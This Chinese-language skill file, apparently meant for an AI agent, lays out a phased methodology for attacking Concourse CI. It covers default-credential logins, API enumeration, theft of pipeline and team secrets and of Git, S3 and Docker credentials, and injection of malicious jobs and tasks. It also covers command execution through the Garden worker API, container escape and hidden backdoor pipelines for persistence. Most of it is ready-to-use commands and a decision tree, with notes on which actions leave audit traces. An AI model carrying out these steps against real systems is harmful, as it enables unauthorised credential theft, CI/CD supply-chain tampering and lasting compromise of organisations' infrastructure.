| name | concourse-tactics |
| description | Concourse CI 渗透测试与利用。当发现目标运行 Concourse CI 实例、获取 Fly CLI 凭据或 API Token、需要从 Concourse Pipeline 窃取凭据或注入恶意任务时使用。覆盖未授权访问、Pipeline 变量与私有密钥窃取、Job 篡改、Resource 凭据提取(Git/S3/Docker)、Task 脚本注入、Build 日志窃取、Worker 利用、容器逃逸、Pipeline 后门持久化 |
| metadata | {"tags":"concourse,ci-cd,fly-cli,pipeline,worker,task,resource,build,容器逃逸,凭据窃取","category":"postexploit"} |
Concourse CI 渗透测试与利用方法论
Concourse CI 是以容器为核心的 CI/CD 系统——每个 Task 运行在独立容器中、Pipeline 配置即代码、所有凭据通过 Credential Manager 注入。一旦获取到 Fly CLI 凭据或 API Token,攻击者可以窃取 Pipeline 变量中的全部 Secrets、篡改 Job 注入恶意 Task、从 Resource 配置中提取 Git/S3/Docker Registry 凭据、劫持 Build 日志和构建产物,并通过 Worker 节点的 Garden 容器接口实现容器逃逸。
深入参考
识别到具体攻击路径后,加载参考文档获取完整命令与利用 Payload:
Phase 1: 实例发现与未授权访问
1.1 实例识别
Concourse 的默认端口和指纹:
| 组件 | 默认端口 | 识别特征 |
|---|
| Web UI / ATC API | 8080 / 443 | /api/v1/info 返回版本、/sky/login 登录页 |
| TSA(Worker 注册) | 2222 | SSH 协议,Banner 含 Concourse |
| Garden(容器管理) | 7777 | 仅 Worker 本地监听 |
| Baggageclaim(卷管理) | 7788 | 仅 Worker 本地监听 |
curl -s https://TARGET:8080/api/v1/info | jq .
1.2 未授权 API 枚举
Concourse 默认允许匿名查看 main Team 的公开 Pipeline:
curl -s https://TARGET/api/v1/pipelines | jq '.[].name'
curl -s https://TARGET/api/v1/teams | jq '.[].name'
curl -s https://TARGET/api/v1/builds | jq '.[] | {id, pipeline_name, job_name, status}'
1.3 凭据获取
fly -t target login -c https://TARGET -u admin -p admin
fly -t target login -c https://TARGET -u test -p test
curl -H "Authorization: Bearer $TOKEN" https://TARGET/api/v1/teams
Phase 2: Pipeline 变量与 Secrets 窃取
Pipeline 变量是最高价值的攻击目标——它们通常包含 AWS AK/SK、数据库密码、SSH 密钥、Docker Registry 凭据。
2.1 枚举 Pipeline 配置
fly -t target pipelines -a
fly -t target get-pipeline -p PIPELINE_NAME
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/teams/TEAM/pipelines/PIPELINE_NAME/config
2.2 Team 级别变量窃取
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/teams/TEAM_NAME/vars
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/teams/TEAM_NAME/pipelines/PIPELINE_NAME/vars
常见高价值变量名:aws_access_key_id、aws_secret_access_key、private_key、ssh_key、api_token、password、docker_username、docker_password。
2.3 Credential Manager 后端
Concourse 支持外部 Credential Manager(Vault/CredHub/AWS SSM/K8s Secrets)。如果能访问后端服务,可直接读取所有注入的 Secrets:
| 后端 | 路径模板 | 利用方式 |
|---|
| Vault | /concourse/TEAM/PIPELINE/VAR | Vault Token 泄露 → 直接读取 |
| CredHub | /concourse/TEAM/PIPELINE/VAR | CredHub CLI / API |
| AWS SSM | /concourse/TEAM/PIPELINE/VAR | AWS 凭据 → ssm:GetParameter |
| K8s Secrets | TEAM namespace 下的 Secret | kubectl get secret |
Phase 3: Resource 凭据提取与 Job 篡改
3.1 Resource 凭据提取
Pipeline 的 Resource 定义中直接包含或引用了外部系统的凭据:
fly -t target get-pipeline -p PIPELINE_NAME | \
python3 -c "import sys,yaml; d=yaml.safe_load(sys.stdin); [print(r['name'],r['type'],r.get('source',{})) for r in d.get('resources',[])]"
高价值 Resource 类型:
| Resource 类型 | 可提取的凭据 |
|---|
git | private_key、username/password、access_token |
s3 | access_key_id、secret_access_key、session_token |
docker-image / registry-image | username/password、Registry Token |
github-release | access_token |
pool | Git 仓库凭据 |
cf (Cloud Foundry) | username/password、client_id/client_secret |
3.2 Job 篡改
如果拥有 set-pipeline 权限,可以修改 Job 的 Plan 注入恶意步骤:
fly -t target get-pipeline -p PIPELINE_NAME > pipeline.yml
fly -t target set-pipeline -p PIPELINE_NAME -c pipeline.yml
fly -t target trigger-job -j PIPELINE_NAME/JOB_NAME
→ 读 references/attack-techniques.md 获取注入模板
Phase 4: Build 日志窃取与 Task 脚本注入
4.1 Build 日志窃取
Build 日志可能泄露 Secrets(开发者 echo/env 输出)、内网地址、部署目标:
fly -t target builds -p PIPELINE_NAME
fly -t target watch -j PIPELINE_NAME/JOB_NAME -b BUILD_NUMBER
curl -H "Authorization: Bearer $TOKEN" \
https://TARGET/api/v1/builds/BUILD_ID/events
4.2 Task 脚本注入
如果能修改 Pipeline 引用的 Git 仓库中的 Task 文件:
- 在仓库的
.concourse/tasks/ 或 ci/ 目录下修改 Task YAML
- Task 的
run.path / run.args 中注入命令
- 等待 Pipeline 自动触发或手动触发
→ 读 references/attack-techniques.md 获取注入 Task YAML 模板
4.3 intercept 进入运行中容器
fly -t target containers
fly -t target intercept -j PIPELINE_NAME/JOB_NAME -s STEP_NAME
Phase 5: Worker 利用与容器逃逸
5.1 Worker 信息收集
fly -t target workers
fly -t target workers --details
5.2 Garden 容器管理接口
Worker 上的 Garden(端口 7777)是容器管理 API。如果能访问 Worker 网络:
curl http://WORKER_IP:7777/containers
curl -X POST http://WORKER_IP:7777/containers/HANDLE/processes \
-d '{"path":"sh","args":["-c","id && cat /proc/1/environ"]}'
5.3 容器逃逸路径
Concourse Task 默认运行在非特权容器中,但以下条件可导致逃逸:
| 逃逸条件 | 检查方法 | 利用方式 |
|---|
privileged: true Task | Pipeline YAML 中 privileged: true | 完整 Linux capabilities → 挂载宿主机 |
| Docker Socket 挂载 | ls -la /var/run/docker.sock | Docker API → 特权容器 |
| Garden API 可达 | curl http://127.0.0.1:7777/containers | 创建特权容器 |
| 宿主机 PID namespace | /proc/1/cgroup 检查 | nsenter 进入宿主机 |
→ 读 references/attack-techniques.md 获取逃逸命令
5.4 Pipeline 后门持久化
通过创建隐蔽 Pipeline 实现持久化:
fly -t target set-pipeline -p HIDDEN_NAME -c backdoor_pipeline.yml
fly -t target expose-pipeline -p HIDDEN_NAME
fly -t target trigger-job -j HIDDEN_NAME/JOB_NAME
→ 读 references/attack-techniques.md 获取后门 Pipeline YAML
决策树
发现 Concourse CI 实例
├── 未认证
│ ├── /api/v1/info → 确认版本
│ ├── /api/v1/pipelines → 公开 Pipeline 信息泄露
│ ├── /api/v1/builds → Build 历史泄露
│ ├── 默认凭据 admin/admin → 尝试登录
│ └── 无法登录 → 搜索泄露的 .flyrc / Token
│
├── 已认证(Fly CLI / API Token)
│ ├── fly pipelines -a → 枚举所有 Pipeline
│ │ ├── get-pipeline → 提取 Resource 凭据(Git/S3/Docker)
│ │ └── API /teams/TEAM/vars → 窃取 Team 变量
│ │
│ ├── 有 set-pipeline 权限?
│ │ ├── 是 → Job 篡改注入恶意 Task → Phase 3
│ │ └── 是 → 创建后门 Pipeline → Phase 5
│ │
│ ├── Build 日志 → fly watch → 搜索泄露的 Secrets/内网信息
│ ├── fly intercept → 进入容器 → 读取环境变量/探测内网
│ └── fly workers → Worker 信息 → Garden API 探测
│
└── Worker 网络可达
├── Garden 7777 → 容器操作 → 逃逸
├── Baggageclaim 7788 → 卷操作
└── privileged Task → 容器逃逸 → 宿主机控制
工具速查
| 工具 | 用途 | 关键命令 |
|---|
fly CLI | Concourse 官方命令行 | fly -t T login/pipelines/get-pipeline/intercept/workers |
curl + API | REST API 直接调用 | /api/v1/pipelines、/api/v1/teams/T/vars |
.flyrc | Fly CLI 凭据文件 | ~/.flyrc 含 Token,可直接复用 |
jq / python3 -c yaml | Pipeline YAML 解析 | 提取 Resource source 中的凭据 |
| Garden API | Worker 容器管理 | http://WORKER:7777/containers |
注意事项
- 审计日志:Concourse ATC 记录所有 API 调用和 Fly CLI 操作,
set-pipeline、trigger-job、intercept 均会留痕
- Token 有效期:Fly CLI Token 默认 24 小时过期,需注意刷新;API Token 取决于 auth provider 配置
- Team 隔离:Concourse 以 Team 为隔离边界,不同 Team 的 Pipeline/变量/Worker 互不可见;但
main Team 通常拥有全局管理权限
- Credential Manager:如果 Concourse 配置了 Vault/CredHub,Pipeline 变量 API 可能返回
redacted——需要直接攻击后端存储
- 容器短暂性:Task 容器在 Build 完成后销毁,持久化需依赖 Pipeline 定时触发或后门 Resource
- Worker 隔离:Worker 之间无直接通信,但共享同一 Garden 实例的容器可能存在侧信道